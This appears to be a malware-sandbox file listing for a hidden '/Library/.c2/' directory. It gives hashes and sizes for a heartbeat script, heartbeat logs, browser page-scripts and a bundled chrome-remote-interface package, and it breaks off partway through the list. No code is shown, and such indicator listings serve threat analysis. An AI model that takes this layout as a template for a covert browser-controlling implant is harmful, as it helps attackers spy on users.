MD5 26cead84a2f5300146efe25ded4a9176
SHA1 c6143d13862a89b5f62f2e981c45a325989ab710
SHA512 4ac25e944d27b21462b86a15a9835acb30ba3b6ed8ab6bf2533b18cb87d824593804a435a131ff93723b96eba257b2cedb664e1efbc2ba4af065857e563c99a1
TLSH
T17DD0C7567156E33DC061C8F00F3C9545DB76878EF9D94AA1D31B4311E5C2015F04775C
MD5 SHA1 SHA512 TLSH

Submit Download

index.js.map

Path /Library/.c2/dist/server/index.js.map
Size 194B
SHA256 342c8bc7fd19a58d3aa87fbdf3362a3cd80a7fdf7c1d03d3d1f819927643b465
MD5 22194a06cf73ef5be236c1e97fa71e79
SHA1 3bdbfdcae50b9221e5a08364a4298bb0fa071650
SHA512 a6daaf4fad4ec1366a617698a453b5ce314ecacb92e86b22b7518f055f9be244886da49e8a83dbdcb927c1d8c24019894cef73437220e185b67966c00fc1f094
TLSH
T143C022121832BE3A145103A848820F011FDA4005388C6A44888CCC0080A1F2F6CEE811
MD5 SHA1 SHA512 TLSH

Submit Download

keymap.d.ts

Path /Library/.c2/dist/server/keymap.d.ts
Size 199B
SHA256 ca4a7d8b7b561d68c9b20ca1de3e8e29870e3afc30a2d3bc2953535665385df7
MD5 9e55af02d5a9b5e37ed936c0430582f7
SHA1 8ad0a9dc8f24e24ef2d1c377b3c3d0b06f39eb50
SHA512 277d66de3c02815cf519289fb9bdb82491cb5fbd485f779e4e0aab78c3e9883ff2a039ea1d4f144f279ea5e50ee942c5b66b43a13a60355b71d7607b1638c949
TLSH
T12BD0C9476C23A5127CC49217DBAD80045C4955122920E9B8EEE14A026FA258DEA71448
MD5 SHA1 SHA512 TLSH

Submit Download

find.d.ts

Path /Library/.c2/dist/server/page-scripts/find.d.ts
Size 697B
SHA256 4ee319edbfd4ad8b93eb98e09833768e4aa77521ed734d99183f59682f3086a5
MD5 b84ba9e3765df0b3ddaa03cf04095a4f
SHA1 3f7634dc4bd04145bf842054c1468c9e0834f878
SHA512 75d0956ee2445b148c97ac4748313e383547d5ae6bf780660ae1229fcb979aef483e388f37e7a980a2eb34933a1593dc33a3edbb06fcd621af9460d8bf55bde5
TLSH
T16B01C0473101023AD9646EB386FAA1AC7EA72769B55241E0EF4C3406322A07FC13F44D
MD5 SHA1 SHA512 TLSH

Submit Download

find.js

Path /Library/.c2/dist/server/page-scripts/find.js
Size 5KB
SHA256 90a61e58477458526cdc3644abb67e6f7c7ae0d7b02508a50ea8acc1166872a2
MD5 e489a7a163103d44836cf0bb2784943a
SHA1 216fa03d31bdbb37b1c822ccaa74c8eaa8278d37
SHA512 1262b21b8fbac0b13e7e9663038e037138ef53a1c84ff437481f8a273fe0e31fb9e9188ec60699205098c0cdb34965c31ea8932db48e4f665d5b2acc74acd978
SSDEEP 96:+yT619gy+7Bg1aFtFi08xdPOFD/s66CTL/sp50bK15Bljt4wVMy9JQA/qfWna1pB:DTcwBg1aFtFi08XmF/hzn/kWbKvBzVM3
TLSH
T1C7C1658922E31139C026217B4BAFE168BA3355977009C994BB8D82247F5157E83BFADD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hover.d.ts

Path /Library/.c2/dist/server/page-scripts/hover.d.ts
Size 71B
SHA256 43e5ecb5bc635f1a7742796f66330bedc50cf1490268c61ff87d68821d95c9a0
MD5 25b41625aefbc4bc6fe3096315a69111
SHA1 7a0cd32a84f3861d3dfe09d68406729681167a50
SHA512 bad7a6417e8e34d85cbda721220f091ff4fa29f8f623ab57f6eb396050faae4f4db688f81b0bedc0b991cb2be01c5d5ad77c5971470a15ac990a1bdce85e7608
TLSH
T1E8A01100B8002A32BA802202A2FE080282280020EA3220AFAE208082032202B28BA00C
MD5 SHA1 SHA512 TLSH

Submit Download

hover.js.map

Path /Library/.c2/dist/server/page-scripts/hover.js.map
Size 621B
SHA256 1d7a928ac6961917686c71e6cfe534404854b0bd5b67d0fa2e23907b07eaa6d1
MD5 f9e408ba0765c4884a76d5e0c7adfe8c
SHA1 e6a240715942178e536e6ae79464f75e98e49020
SHA512 279de3e67933dc6c4fae85cc14602c042a9860df709d9d861d0e63046a415400dbb048e190d0d9fec948e8416c54d687f1085e26d438368ab1f048819c3e8880
TLSH
T1B7F0BB0A88636927792302D7B5884FD35ED44049ED58510427D8D926E4D3F3B2F91412
MD5 SHA1 SHA512 TLSH

Submit Download

selection.d.ts

Path /Library/.c2/dist/server/page-scripts/selection.d.ts
Size 759B
SHA256 f3c8cffeff35ac9f5ba2128826398b4e4b6d0e61b0497297805e71b2c63184b6
MD5 7a4426bca67ce73308d6815ff18a0f7c
SHA1 9d9e5223e3c76c05d6b7ef89c608a358c8cbe761
SHA512 b2891ce1ec6294b68f030cbfc352097539406ed2bc964b73b3c19f8870ba52b84c4ebdbed49515fa3d4024e3515239197231a957e912bb7fc05ddef6961b67b5
TLSH
T1CB01642A72617378824AD9D882C3E050FA293E6CB1B4E4F0B16C015A1B93900C1A79EF
MD5 SHA1 SHA512 TLSH

Submit Download

selection.js

Path /Library/.c2/dist/server/page-scripts/selection.js
Size 1KB
SHA256 a20bb5996118d1b21699b33488db12ad5feeedede75ebd18beb5c53cb2739785
MD5 a98bc2fb7f4bd4e691972d5ce49dde0c
SHA1 50cd555fedab5a8c66842c13617ba2b25b47a3a1
SHA512 c924dbf2462ccd2e11e68e35c61e7b7253da462f6fc4b3513df5e364b0cc083617049dc21d59b1fc5f84034b5d44f788a822ee2a2271530c1bdd38338d5811ce
TLSH
T13231DF6A76743337444BC4966587E051AF787899F20AB4E4F1AC81880F52C18C5AB8FF
MD5 SHA1 SHA512 TLSH

Submit Download

start.d.ts

Path /Library/.c2/dist/server/start.d.ts
Size 11B
SHA256 8e609bb71c20b858c77f0e9f90bb1319db8477b13f9f965f1a1e18524bf50881
MD5 e2ebd7ddedcadeeadbf819c35985c768
SHA1 b878c11a77128e74c3cf15c93ef2ceddf2aa0b38
SHA512 4ee1c88f8c3f4e4cd34cb6c00339bf9d6d036ff4ade3af49e871cc8966b84c729d8b75492acc6413c9a664ac00a57958223ac13c4229da8c62ebe6a53e4f783f
MD5 SHA1 SHA512

Submit Download

start.js

Path /Library/.c2/dist/server/start.js
Size 8KB
SHA256 94a9a08fbc6681031c9a3e26001b7929093d5dfbba080e235377926a096caa56
MD5 17e82a8684fb637bd0c2ca2f80e2b461
SHA1 15b850a07f1ee169905d2d05361bac0710c0832a
SHA512 d7bc49daa1afc25ae74af30a0a9dd7695c789520f52c5e36d8ce2c86d5140e6e1f66b17c5dd8b7f4658614c88d6882b7df5524bb8139c157e9133d6e31802db2
SSDEEP 192:Z4v9i52dF6V4/l1QLirTQTNJ76VyCi3gQjYY9bIIi4VuAGZFdiIppQQDZxNNWTJo:Svk52dFjcirUNJ9Du3diYxn25rqz
TLSH
T19402743505F6121D3E6BD57D276F20126A61B0033A19EC88BA4CB3546FCD83C96A4BFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocol.d.ts

Path /Library/.c2/dist/shared/protocol.d.ts
Size 4KB
SHA256 05eedfae3623aebab2c5260284371fa97b1df525ab0a1a16bc9ac8a30254f078
MD5 b2ea6f4e8d4c63cd9f4621ae0cc2fe12
SHA1 401eca2ea491898e9f8ff77c56e26b73db6d2470
SHA512 71b6fa57ea32d0c78abadee2b78201de71675e6e9c16687201edc85457a5d0934428d68c43b4a6f3efcea4f61561aa6747583868821389b271cd1876b02a39e7
SSDEEP 96:yGWJ2V2b292KS5J26A2FqIH29627H2VE23Q27crJ2Vc21g12bS2Z+2IDd2EN2mSi:+4UaMKa46JFqP9D7WVt3Z7RV11DbrZnm
TLSH
T11A918D4661173C258849630697DF94806D2590832A99AC3DFFF892B70F73CF9727A38E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocol.js.map

Path /Library/.c2/dist/shared/protocol.js.map
Size 142B
SHA256 38c0d844273207ae73b371f9226e70e4b197f43b037cbab0e64a337c29f5c303
MD5 83bc11ce6a40f06ad7c19d6181fc03c0
SHA1 e2f20459737783f070a4d2b5eeeb6de8b5b4d0e7
SHA512 8ff67985016994ef269bee9b3b9af3e4ab32fbb52463363d1dabf6bcc92806f7e8f4a940d2b991c4300a1bacf29529bd02e3df819d3a320f1bbc0336ec06d1f7
TLSH
T129C09B67A8773FBC2A1447B51E032D55ABDC04D5D48C1505F4D4C859123811F16D6827
MD5 SHA1 SHA512 TLSH

Submit Download

hb.log

Path /Library/.c2/hb.log
Size 44B
SHA256 6fad5cf340f6ba6b3f07610eeca4208603e10c7bf8802708d12ea5d444734a3d
MD5 887c89309bfedfd2933266de18bf4881
SHA1 e524e96cce53fe9409c9b2070d16ac761b17b0a9
SHA512 1b13552e3480f6d7b36221c931084665e0579f604394c52e018d9b66b04e292f25520f6c2617f5c6a23277a263550c096e58a3a7ba06825ccdf1e3dc9a7ba561
MD5 SHA1 SHA512

Submit Download

hb.log

Path /Library/.c2/hb.log
Size 127B
SHA256 3f7c65f59f394706dbd68e4856ef779b7911117d6330ddc7935242acc986125a
MD5 63d26b791b8eb666d5b21ae92a61ca73
SHA1 8c76e1605f17dbc0db9a9bbe4efd1a4f6a9485fe
SHA512 1432b6815fe91dc9cab86b13865cddde8d4982b2dc7a8b9e9336e169d7c61ae9ee8e8144e45232d8ec8e15e530d844984fb08dab59d869c28e1133d23ee680cf
TLSH
T182B092429DB89280A782114AF02A3E8FCB863FA930816E986BFA0001274815A18E6801
MD5 SHA1 SHA512 TLSH

Submit Download

hb.log

Path /Library/.c2/hb.log
Size 174B
SHA256 b1a245157ed56fda4a5534cb60742b6af84c799a12eeabf05df3cd575863260e
MD5 e3078c19a4242b3525540356affe3701
SHA1 edff388711a2fbf429aa5ea5b46bbc5b8a56715c
SHA512 15d2f316f92a8924981e3c895b64f45b69dac7c60d1a3caa3a1c7510990cc848d284e81faa37dd40bb66ea7f125534a7027b726e86bd0a6347c99ed7ea59d315
TLSH
T1BEC08C8299B882805F430049F42A3F4FCB863FA9328A6E9C3BFE0001230810D1CD1C01
MD5 SHA1 SHA512 TLSH

Submit Download

hb.log

Path /Library/.c2/hb.log
Size 215B
SHA256 fe0b96e0a35b5c9891f78cc41a67d0a02bb02a6bf44c3e3057b72d9325369505
MD5 8062183b4ae9de97d50361d0fa644b06
SHA1 07bea653eca58691a451793cec8ef8d951e85678
SHA512 10911391f2211851906906fb7898d6f2493338b446a78ca8fdac133b131880da5ee30a72e162eed286a1bc2fea9915a098233252cafc6a50d51f6587791e42fe
TLSH
T1EBD01241AAB451806E470049F42A3F4FDB857FA636996E9C7BFE0101131814E1CD1C01
MD5 SHA1 SHA512 TLSH

Submit Download

hb.log

Path /Library/.c2/hb.log
Size 2KB
SHA256 215c38f0f369cfff5a24c9c32d1eb8a8266419efd00e881f36efd1f1a3e0f8bd
MD5 216fa96d531ae4371eb5eca1abfed638
SHA1 e0bb4ed7ba903c8ceb337ad065150f3bc2bb74f7
SHA512 17b72ffc4ea17275d09b54eac9e519df0acb23c6756e281cd91eaf816168feea9d5a43f0cccffcb3de0bd6ac4340918d78a243a6a15b6e7dcd424b1aa93098ab
TLSH
T1C65163AABBF014D4595BC950E65A3F9F80C6BF33399CEA1C3FFE5446051844D5EE2902
MD5 SHA1 SHA512 TLSH

Submit Download

heartbeat.sh

Path /Library/.c2/heartbeat.sh
Size 96KB
SHA256 f8dd9937e7b247d4f1735e25fc895dd02a2cbcbb1f72338183d7c6b3f58fac7a
MD5 fc39cb3f591fdedd6e7b6effe377874a
SHA1 accefc9693d734d64e2c1b69d155ef0a686189c3
SHA512 0292b85d8db3dd01482006b36019d41be033eab2b3911576705eb9815cccd7e4042d6b0510cccb668be7b77e889a024869666d9b29521474da03485998c7eb6b
SSDEEP 1536:9olaudRP2+1prb6iWhqJDGWkhFuJJ/Nb1FJjr0kEfLE/MutU5KU+oWhty:9SauHL6iNGWkhFuJ7bVgnfRu3U+V4
TLSH
T11FA30750FD6984B93E69813CA8CED104795B043F0A9C3C28755EAA543F7C2ADA1F836E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.package-lock.json

Path /Library/.c2/node_modules/.package-lock.json
Size 2KB
SHA256 7d9e22c21ee0b49e9df2d35823bf789436f70387ed528c7f2b8d37c53bcf630f
MD5 88d3423386c8f58803b9c643ff840af3
SHA1 3113a4a2fca0c70aa34850d0de0cd1500b1b1c0e
SHA512 d58de386c694be6031270099c55ca4e359a9aba1608038f0c0c22f9626c4aa4e1e280dc2dfb11a55325880634716b452902ffa5f4cef4eb70351276f9de1dc0d
TLSH
T1B3419B91CC706EB70BAA35A4A47A5412B430011B084C3D1D36ED175C8FAEAEA74BDBAD
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path /Library/.c2/node_modules/chrome-remote-interface/LICENSE
Size 1KB
SHA256 a3eb5d5cd3cb891e090d0281d4b5d21b20559cbf602609c85d6502f8f9209e6d
MD5 16c73af7d105e65d54c0719aaeb8eef9
SHA1 5f90aaf5cd6b6f59e81914164653ba4b55a387d5
SHA512 5979d016caf45b8ba4499d3e3b19ff3ac170990a34fe2cfbe216f95e0769e76168bd100c1fd93bf38d272f90e705b0722aa49189d0de510674a848cbff6af2ba
TLSH
T1F211822E72A403A22C9717A065697CC4F26AB25F7FAF1784247EF309132A06CD0FF844
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path /Library/.c2/node_modules/chrome-remote-interface/README.md
Size 31KB
SHA256 4f98851f442b7826dc3aaccdceabc8a0697e6216adc5ef21ccb58d6d0461a16b
MD5 eab50163d3be351cfdddc9cbfe1ef3db
SHA1 f96bb0262e9b0bdf44a0f96b43950ae6728b3483
SHA512 01d2955292d26fc2a9cbb40161a5a92c7495e697c3b8e38783434fc6537787cb329672ee6d075b88af23cd461935247d3a61954cb5ce32742880882ca1973a2e
SSDEEP 384:AuiQsB9Gup3UUnx0NH7LMn+eo8lE0BbpldmWiuplfpplLnpplZtDplSDplXppl5E:DuGE0NH3MbnD2+1JafnYsmU0y3uX
TLSH
T1F6E2E6871A83737D1AA34181690F7189EB3ED198755A6551B8CCC7A82F0EFA4C33F6C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

client.js

Path /Library/.c2/node_modules/chrome-remote-interface/bin/client.js
Size 8KB
SHA256 3b1acaed984b8dbe31f04260455975bd27fe154631a2ee6dfa4c11afc1675971
MD5 e5e77263ca983aae02ed2f0f7a4e95b3
SHA1 001fd718b969ca7294ae6185ae1b588a84e0c299
SHA512 e04faef1bc9c46cb3a2c5f3993912c4308e1a748e9fb423b6211df89b546c6876bc8ebd49862ed9ad74e65357302c85b6e18eef5112151b8ed424588a3eed528
SSDEEP 192:hGTrByCXAtLmSB8IaM0+IaPIIGyD0QSSqF9BLFsh5clyNSEyxZxZ6xO98ZPOCxWL:hbtL4BFs7cDgsChBk
TLSH
T1FF02DE0A5AF723700AF321A91E0F540A7279E643701ADF187E8DC3C45F966B4D2E2BD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome-remote-interface.js

Path /Library/.c2/node_modules/chrome-remote-interface/chrome-remote-interface.js
Size 683KB
SHA256 c8f12bbed0aefeafb867d2a20a15c7d90e1d8e743c26f826cd26e2038440ecb9
MD5 b71689c40432dac0d0d1de8a7ed1a4cd
SHA1 7f465d680019ad145b1901cc2941dcf4c9f54ec8
SHA512 85fec3c7876de8104ea82c9f1de7829f857f689008e69565a9c6fa63613e6457e47a160e583cc316b6eb9130b987c3e695ca0bead474e007ba619eecbed1ad44
SSDEEP 6144:whXqRdUdZArW31UL52vPYFuH1kCR/smwMzOvTyRsRy2GJkn5NiJTUpntmzBO0bnB:wk4ZwyBQXMyi
TLSH
T11AE4834E9E00A9B947C60BD46CFF994DE978120BB1CCEC50ACD68DBC50187E6D93366B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path /Library/.c2/node_modules/chrome-remote-interface/index.js
Size 1KB
SHA256 9c901002724766023c46f15171e6386942c5d9effb851bf1c2f284ee816ab3a9
MD5 9298dd5675960471f7045306fa775605
SHA1 d7652b0d41d61f82e35c14d94d20d7bfca07a40e
SHA512 921e1e9588433c0f6de7fd8c98faa90a95cea342e553a8d8ac0661cc8e9f23bcf4dcf68e9588d3a28cd7eabb25d097babd7a1f6b887bdf6543e6070482d8634b
TLSH
T1DD21990B14F3318506BBB4C9A707C6079DF7C9A7200CE051FE4E8BE25F584689AC6AC5
MD5 SHA1 SHA512 TLSH

Submit Download

api.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/api.js
Size 2KB
SHA256 04d79b54afbf2dd0944fc11c75e4ba3a79ec98a3481a2ec48affd0f320997787
MD5 54e2492b42c8347598b0eb42a4b7b6c4
SHA1 fc33c4014411afb3c29e916702875a35f314b74a
SHA512 73e47b0c14bae8fbc3f01cda566161e1a8c716755b65ccf74b1c2b95aaa1272d7029cddf0c9e953745b377f8d6f324f4db492e1b6cd179206345414a5dd2edbb
TLSH
T16951BB0D22FF046912A35A2D171BB405B728A25370A4CC82F9DCEFC18F17568C6A9B9C
MD5 SHA1 SHA512 TLSH

Submit Download

chrome.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/chrome.js
Size 10KB
SHA256 5103ab7a14e784c0af20b99e9a908b05d90197ef750e9764194547c082fd4013
MD5 8a87ec246bd6e7ec0a20fe634cf9fa1b
SHA1 5c1f9465c5d4eb783255d23f74d8f753254ad3cc
SHA512 f53627a0656164deadbaae981a0e7f6870f022ea26876783a2b6ebedc30491a06222799ae1be9551effddeacd5c401cb68a639c1a644943f5af5829c6c0c2889
SSDEEP 192:Kd36cizBL66JXOpFWieMLztXa+nuPQxwI0yw+gbcpbBIFkZwZ5mYY22T/T4Qtiej:A3wCpBv8elGstr4UbqS
TLSH
T15832120523FB51A55AB7B2D61F0F6202B23DC1073E0EDD89BD9D93D09F0A1249AA1FE5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

defaults.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/defaults.js
Size 78B
SHA256 3946489a0925e3e06c9ecda160a74edb66e0b6417067dc69679809e7726ac6a8
MD5 91eb846eda34e1bb94cc8c7a5854add4
SHA1 612aa9ee0f80c59551a16fe00fc040fb51ed32e9
SHA512 57f192ba77abb2787ce51f1ae9ca7cf538075744b2759d4a57f41ab722bc411fbcaa61bbfde72115b28045bda926899f05198733f09c2ec5951ce3a5a1a72d46
TLSH
T142A0015E1D32819A625A88E8AA0598548CD999F3401994628F68CA9A9898DAC81A129A
MD5 SHA1 SHA512 TLSH

Submit Download

devtools.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/devtools.js
Size 3KB
SHA256 70e9d6a4abb183d68b908b187bbac16d0fb6cf0b32206add59de92c33ea58f4d
MD5 92f5572d83625358c7681a866d8b1410
SHA1 2dc32f451dce5133b1198b8aeeeabbaec9dc5554
SHA512 ae165a0bd96ea256fd091212e5ae31ab011af7d85b3cb8a6b39203148b683cfcd3c419e5f93baf8676874a504bc1b1409e4a47e98178bce14470a203d5ad6889
TLSH
T19171654A00F3335548F7F3EA095F562AA6BDCA13241C9E5579CD83C15F4A478A7E3E84
MD5 SHA1 SHA512 TLSH

Submit Download

external-request.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/external-request.js
Size 1KB
SHA256 4f68f4cf508989d612db1eaf4dd4b2eb8c65061e7235544b952de4f5a54108cf
MD5 f9db0ff0aa85e4b1cd829672c428899a
SHA1 d9ee6f37c985f6b2fa5d4c8f45e6edd05753c048
SHA512 26fbc2768d9eaa8a2f926e23a4ab29ec7aa808e4a296ca5399f37e3191fe8a9ae4c21d544f25a48ac2b046b3c1a59e7ed90841e2019ea68f85460af16524af4c
TLSH
T1E321CD5A14F373258A73F1CCAB4B87203227E2033258CEA3394C53865FC10F8E6906E5
MD5 SHA1 SHA512 TLSH

Submit Download

protocol.json

Path /Library/.c2/node_modules/chrome-remote-interface/lib/protocol.json
Size 1.2MB
SHA256 3b7d368dcaa46cf4e8906693822717f476abcef1a06a5a43b52880ed514e99ce
MD5 55b86ef700e7155875724c10ef2333f0
SHA1 60576b99c85045a9c47539830dc20b5a245f5203
SHA512 82f3803081e320f1064ead2b157662ed9dcad0476c6fcb5ddb2208e674eca9bc79bf56e3ff54160c46e13f0aa8a762df44fce10c7d3f4c9aeeeb8070b42d4d72
SSDEEP 6144:4xPzkfHpe3+nPct5KJ06UtIP0K8rIR346iU78dbqI2aJAeehu5xtSvX3ylb1qNp+:48ji8/sII
TLSH
T1F7459C6ACC685C73048E11B85DA992467530024F9E997C297FCC44AC1F9DA6FECB738E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

websocket-wrapper.js

Path /Library/.c2/node_modules/chrome-remote-interface/lib/websocket-wrapper.js
Size 894B
SHA256 230ec502475500164e079e90a98f43173df96940f13fdd296dd2d24ac0633261
MD5 9740774746f1ad0be9cdd303b75c5805
SHA1 f19db2dd12764e00f2e8471f3573d521f30efece
SHA512 822f73080be6c1eeca12b2f25c6350cf52f0c21c9036ed7a418016c39c3e796d6ae02e7e2850642c903ea01510df4e1b60a49a42ce096db78550997144af670b
TLSH
T1C511410852FB36AAE0B731AF1F4B9257B150805B0E0ECF497A5C47DD4F8E8740EA0BA0
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/LICENSE
Size 1KB
SHA256 3de284c8e6fa7e8437eff6f53695471e0332129a5b42a79361e17b7637de94b3
MD5 95833e8f03687308b0584a377b9e12b0
SHA1 5267b8c02607adefda571a85283fcd110ae081ba
SHA512 fcaf2385fc0d45f31343513a4e9e9786db047f8685a4994330d9e9cc7b8a9f329323f39994532d6980a2cf2a5b602d26ae275d1ab4c481db7be21b420ba4d8ae
TLSH
T1B911B61EB2504762289A13605578ACD9B22F726F7A9F2A84142DF301133A46CC5FF840
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/README.md
Size 13KB
SHA256 11509f77b958b378281ac6dc8469d8637dee4aa73935eb3f80c67524fde55513
MD5 e5ba73d8807b30d5cf798c4a4100b211
SHA1 0f84f6072b967f40390532d47c44665550c3dded
SHA512 1507382f2aca07abd54887e410a227211613b733f5a6693809ca0a2a31d39b6f21345ceaa3b1174a36760e3a1e05e93804ed23c8087566551348be62750763d6
SSDEEP 192:BOtb2NXopBIU5FjhCGymkgGCOZlKlUAlyk8JHbS3bZuiwqxZ4Z8k8eIkPk8eAk+N:BIb2xkj51hC2w1/ISZGQXBK3W
TLSH
T19552C79BE4B13279727332D2E90BE19573354041330B68A426EC87ED6FA25F853566DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

browser.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/browser.js
Size 176B
SHA256 010da44addea1d88b2b732540c3f1fd0cbcb28926b96623d4c64222e0ead2d0e
MD5 a5360357c30602199353294a98721d7d
SHA1 44121b2e0b4e671c60d14a5e0c0bf56d2e73d72c
SHA512 f7cb84738fd31d4a47080ec043004a2c71e6c55ea57b21a63e40c0619b280628a0c6328bf3ffd321bfe850a0d424b73eb3fa7074603d2d1d05f5eee76477d751
TLSH
T1FFC0220914BBB2A6413460D5811EF480B5D0811000AB164075ACC28D8BC1418028C8AC
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/index.js
Size 296B
SHA256 c2b0c9905540a51acb276523bb024ef3c11bd118b03a90d92962080ebd07fec9
MD5 c4496645a3cadf59790b9a7749e5ad21
SHA1 b5b573008ba06d39aaaf7cdc32fa8cde43e82cd2
SHA512 7905cf7ad79ae3db830a0a249fd43c6a359b24e1295e1ce3b0e0999172183e28ca208f877bf38049411918d431f2277c6f1f1458f538884cc03ba2b4093e4277
TLSH
T157E012908AF9F0DE30F416D1E418D5C67386C049BA0842D59A34CBE7A08B4CC0D51EE7
MD5 SHA1 SHA512 TLSH

Submit Download

buffer-util.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/buffer-util.js
Size 2KB
SHA256 da2088dcfa847be2b26a0c4fd46480e2a787b3120bcaceb98555654bbba53631
MD5 2ed1f17240b5ae668e59ae1c309a3a1e
SHA1 e76c66ba76f2f3a59bdcd25cbe41df4d9d15e8cc
SHA512 0e43c223d75f542d1b7114a65c2e14fb2a169561cf544558581ec1afcfc38703fbf5a0295201bb2dc5127386d3a8c7ca046227888e27ef404e38f7e7ef3042bf
TLSH
T1F651F4862FB020360203F5A711C75E8F63748705AA9BE948911D6F202FECA64DDF2ED5
MD5 SHA1 SHA512 TLSH

Submit Download

constants.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/constants.js
Size 268B
SHA256 2c2e8f6abbb7c2314d5736ef0a8d11f04ddc3cf4faf1c710df5d75c4170e937e
MD5 9f6cd33d0d1d7945e8b34b4a9d18ad46
SHA1 2a8c95ea6c7c81be85ca73a079c4aa5956f22c89
SHA512 218188388e9770b4525c25e43d71cbe35f8d0f255c27473a5d4c0b0722a2e765135b54818db3652b1a9447f490624e1d9c57dd13cf467349beca4a17c90c3c76
TLSH
T160D02B5B1FB0B29C68632003848EEB49B9D54C45558AF05910980F70474DE085074194
MD5 SHA1 SHA512 TLSH

Submit Download

event-target.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/event-target.js
Size 4KB
SHA256 6bad3e83c4a8f113cfc40ef2757ecbc727e67c5e16ea8447cdc6e12af2b1554a
MD5 dd5f500196a86e842166b5e4b39360bc
SHA1 3406adb42022feabc0f4a3c97e01257b99061ac1
SHA512 7ab283e3a4a42deaf734f0e0a0a676ed73b0db6aa1d1e1da1a641b7d5a13f3f1f520b880362af38c67da291ed6aba3c21aef45fabce6bfd22e808747b6da5b60
SSDEEP 96:LAJXQEFvmlkmvjORWXmp1oab61AoGwDfWSaf2y9LctrHx:LAJXQEpmqmvjORWXmHoab6PGpbNctrHx
TLSH
T12D91FC5517E116E7409BB3B73B0723D1C124A0DF372A6994BDAE9EE41F08EB08262B94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extension.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/extension.js
Size 6KB
SHA256 13b228a92d2dad9d1bffd09faaae6b64bfc1f713dd966010ad479a901c243a86
MD5 ba3602395024803c5cc3a285097bcc21
SHA1 1caf01f7c99267f3b86b5e2fa23da859288dfb95
SHA512 a1cb02660f66d8bf6fc433f3df1424705c76bbac83e65e7a6b5de3aadcf225b496a784776bc350bd96590e77b61a22cbd75defa7fde1cd2a1d6863f0a70e8ff4
SSDEEP 96:1v4kMkaKooJ/7NRCljhsZhk+FsqNB0xtPH+9xalu:1vikaKsBeZhkAxNyjPH+b4u
TLSH
T133E111932BCA2215067AE47DDA0B9D16D2B84123720CA9CB7D8C26C87FDDD3187B5F85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

limiter.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/limiter.js
Size 1KB
SHA256 e0469d4b83f6ba764b15f80e1766b75c136fbff68f048f4c050f0b1c7f065f69
MD5 7b8a8dc5be27a1bd1a39544cc28ae73e
SHA1 d56ca70e1a496b15e1cc90ac740679d7a6c37eab
SHA512 1c1731373a93c3d7f27dde4b6e06565d013ec7fdf6714ec3e1f5844752059a0790e4bc571f20301f45dc63a55e9129e304ecf3551791370c40152942caecd574
TLSH
T16111CE2606EE14E2D02321B58E6B6254E562110FB61FE8D97A3D13AC4F46F30E294D79
MD5 SHA1 SHA512 TLSH

Submit Download

permessage-deflate.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/permessage-deflate.js
Size 13KB
SHA256 3bf41b9b2d3b9315f1f58b732d27ca48840b50f7991d4f90bd5d765cee92b216
MD5 01ff3fc10c117049057447b4e35054d1
SHA1 d16b968eec187eff7549dec623e4f82dc7e27f1d
SHA512 66687a4282100c15776e12146d990714a4ea2fc1443c86239b470497e3ad80813de51facbc77d93f3a1713426ff48adaca589a4151270425116c3c8640791872
SSDEEP 384:bxmUNfRJJZSD/OMiSOsZOk7OadAOVoFJn9:1xhVZSyZSOQOmOTOm
TLSH
T1B85262591BFA029740E767E6CFAB624AD330D00B352AD588394C47CE2FCDE349399B91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

receiver.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/receiver.js
Size 13KB
SHA256 b448ecc5be450d49b2dbcf65eab7dff719dd02924f3da1bd6889fd9a76c2115a
MD5 263361006572ba833d2191b70a13ec33
SHA1 42a9f03f5dca98df47f86ded865657846b32524b
SHA512 f471dc6f294be904084fff973e18e04cf376be7238c60ba8f64a99d6cc7fcdcd9a66206da10f2fac109c330209267d86ccc4eaa14c8aae6643058f1ff1d62f7f
SSDEEP 384:CnUd/JZ4ydBlfVGLvXRcwR4gRsnowksTl4i:CnqZ4aBlfQvRugRGXH
TLSH
T1ED52FE491BEB516A4163B4791FABA50BB124641F390B9D48B94C13ECAFCCB3489B5FF0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sender.js

Path /Library/.c2/node_modules/chrome-remote-interface/node_modules/ws/lib/sender.js
Size 10KB
SHA256 6a712c13b94ba77bf33a06859a86f3db5513943cef65997587f096796822e627
MD5 5701c9b30e5a64756f6d3729d67927b9
SHA1 0d3708396ce6f38c0e39459646e46decac24c710
SHA512 d83f93f1abb22b98b78faafc3bf2482f34a539ecd14a2a32847a44f07baee968cfbda8ee9deb0ae1e1b707f2e34aaeb829ff01231f3f3b1e100453c95d800849
